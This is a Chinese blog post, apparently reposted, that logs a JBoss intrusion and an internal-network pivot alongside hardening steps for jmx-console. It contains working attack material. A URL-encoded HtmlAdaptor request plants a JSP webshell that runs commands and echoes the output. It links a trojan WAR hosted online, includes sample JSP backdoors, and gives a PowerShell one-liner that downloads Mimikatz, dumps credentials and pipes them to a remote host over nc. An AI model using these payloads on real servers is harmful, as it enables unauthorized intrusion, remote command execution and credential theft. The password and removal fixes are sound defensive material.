一次简单的漫游内网附带对jboss安全性的讨论

栏目: 服务器 · 发布时间: 6年前

内容简介:一次简单的漫游内网附带对jboss安全性的讨论

讲这个之前,先在本地搭建一个jboss环境,自从上次被吊打之后,觉得做安全的多少要会点防御,以前把太多精力放在攻击上面了。这就当做一个学习笔记,三件套,攻击过程,修复过程,自动化脚本。 ## 漏洞复现 jmx-console 先安装 docker 镜像,docker pull tutum/jboss:as5

然后 docker run -d -p 8080:8080 -p 9990:9990 -e JBOSS_PASS="mypass" tutum/jboss 管理器的地址是 http://127.0.0.1:9990/manager/html 或者不设置密码 docker run -d -p 8080:8080 -p 9990:9990 tutum/jboss 这里选择as4版本,这个是老版本的jboss

一次简单的漫游内网附带对jboss安全性的讨论 然后找到addurl,填上war木马地址,进行远程部署 一次简单的漫游内网附带对jboss安全性的讨论 然后点击change 一次简单的漫游内网附带对jboss安全性的讨论

然后才到连接 一次简单的漫游内网附带对jboss安全性的讨论 http://192.168.190.145:8080/is/index.jsp 有些实际场景无法部署成功,可能做了限制吧 但是实际的路径确实在tmp路径下面 /jboss-4.2.3.GA/server/default/./tmp/deploy/tmp5962862023186656288is-exp.war/ ## 漏洞修复 jxm-console ###1 加上密码验证 给jmx-console加上访问密码

常见路径 /jboss-4.2.3.GA/server/default/deploy/jmx-console.war/ 1.在/server/default/deploy/jmx-console.war/WEB-INF/jboss- web.xml去掉 java:/jaas/jmx-console</security- domain>的注释 2.)修改jboss-web.xml同级目录下的web.xml文件,查找到 节点,去掉它的注释 其中内容为 ```

JBossAdmin

</security-constraint>

表示角色 3.在JBoss安装目录/server/default/config/login-config.xml 查找代码jmx-console 其中大致为 props/jmx-console-users.properties props/jmx-console-roles.properties
打开jmx-console-users.properties
内容为

admin=admin #用户名:密码 jmx-console-roles.properties为角色分配 admin=JBossAdmin, HttpInvoker #用户名=角色,多个角色以“,”隔开 ``` 修复完成

关键路径 修改注视的地方 server/default/deploy/jmx-console.war/WEB-INF/jboss- web.xml server/default/deploy/jmx-console.war/WEB-INF/web.xml 用户密码位置 server/default/conf/props/jmx-console-users.properties jxm-console用户名密码

极端方法 删除 查找web-consel路径 find / -iname ServerInfo.jsp jboss-4.2.3.GA/server/all/deploy/jmx-console.war /jboss-4.2.3.GA/server/all/deploy/management/console-mgr.sar/web-console.war jboss-4.2.3.GA/server/default/deploy/jmx-console.war /jboss-4.2.3.GA/server/default/deploy/management/console-mgr.sar/web-console.war

漏洞复现 web-console

参考文献 各大容器拿shell 在有些高版本的jboss里面,貌似jxm-console无法直接部署 参考 http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0157256.html http://localhost:8080/jmx-console/HtmlAdaptor?action=invokeOpByName&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=upload5warn.war&argType=java.lang.String&&arg1=shell&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=%3c%25+if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b+%25%3e&argType=boolean&arg4=True 带回显 http://192.168.31.6:8080/upload5warn/shell.jsp?f=hello.jsp&t=%3C%25if(%22023%22.equals(request.getParameter(%22pwd%22)))%7Bjava.io.InputStream%20in%20=%20Runtime.getRuntime().exec(request.getParameter(%22i%22)).getInputStream();int%20a%20=%20-1;byte%5B%5D%20b%20=%20new%20byte%5B2048%5D;out.print(%22%3Cpre%3E%22);while((a=in.read(b))!=-1)%7Bout.println(new%20String(b));%7Dout.print(%22%3C/pre%3E%22);%7D%25%3E%0A

上面的用法任意写 http://192.168.31.6:8080/upload5warn/shell.jsp?f=hello.txt&t=whoami

一次简单的漫游内网附带对jboss安全性的讨论 之后在 http://192.168.31.6:8080/admin-console/secure/summary.seam?path=-33&conversationId=43&conversationPropagation=end会找到项目 一次简单的漫游内网附带对jboss安全性的讨论 物理路径为 /jboss-5.1.0.GA/server/default/deploy/management/upload5warn.war/shell.jsp

查看路径发现 一次简单的漫游内网附带对jboss安全性的讨论 所以访问 http://192.168.31.6:8080/upload5warn/shell.jsp?f=hello.txt&t=whoami可以写任意内容 一次简单的漫游内网附带对jboss安全性的讨论

漏洞修复 web-console

同方法一

漏洞复现 9990/console

上面说的都是老版本的jboss,下载心版本的jboss发现,没有了上面的jxm-console,测试的版本是as7 一次简单的漫游内网附带对jboss安全性的讨论 首先你要知道帐号和密码 在登录之后 一次简单的漫游内网附带对jboss安全性的讨论 一次简单的漫游内网附带对jboss安全性的讨论 选择好一个war就可以部署了,也可以下在园长mm的 http://p2j.cn/is.war 部署的时候记得点enable,然后访问就行了 一次简单的漫游内网附带对jboss安全性的讨论 一次简单的漫游内网附带对jboss安全性的讨论

漏洞修复 web-console

同方法一,修改密码

慢慢搞内网

我这里选择的是msf来入侵内网,用这个搞内网还是很成熟的,自动化很爽。 一次简单的漫游内网附带对jboss安全性的讨论 可以看到源码 一次简单的漫游内网附带对jboss安全性的讨论

内网渗透

首先尝试msf,但是发现反弹不出来,测试ping不通任何外网主机 一次简单的漫游内网附带对jboss安全性的讨论 试了几个常见的exp最终提权成功,不过域控没有搞下来,本次渗透就此作罢。 powweshell抓明文 powershell "IEX (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFuI'); Invoke-Mimikatz -DumpCreds" | nc 192.168.1.1 4444

修复参考文献

http://blog.knowsky.com/193845.htm jsp后门 附带几个jsp木马

<%Runtime.getRuntime().exec(request.getParameter("i"));%>

突然想到这些不同版本之间的拿 shell 方法不同,可以写一个完整的小项目来完成这个需求。


以上所述就是小编给大家介绍的《一次简单的漫游内网附带对jboss安全性的讨论》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

JavaScript核心技术

JavaScript核心技术

Shelley Powers / 苏敬凯 / 机械工业出版社 / 2007-6 / 45.00

Ajax是当今Web开发领域最流行的词汇。而JavaScript与CSS、XML和DOM几种老技术,加上XMLHttpRequest就构成了Ajax的四大基石。对于JavaScript,一些更资深的同事告诉我的感觉是失望。面对不同的浏览器和浏览器的不同版本,没有优秀的调试开发工具,JavaScript成了软件开发的泥潭。. 而本书的出版则给我们增加了一丝解决这些问题的信心。 它从最简单......一起来看看 《JavaScript核心技术》 这本书的介绍吧!

RGB转16进制工具
RGB转16进制工具

RGB HEX 互转工具

在线进制转换器
在线进制转换器

各进制数互转换器

正则表达式在线测试
正则表达式在线测试

正则表达式在线测试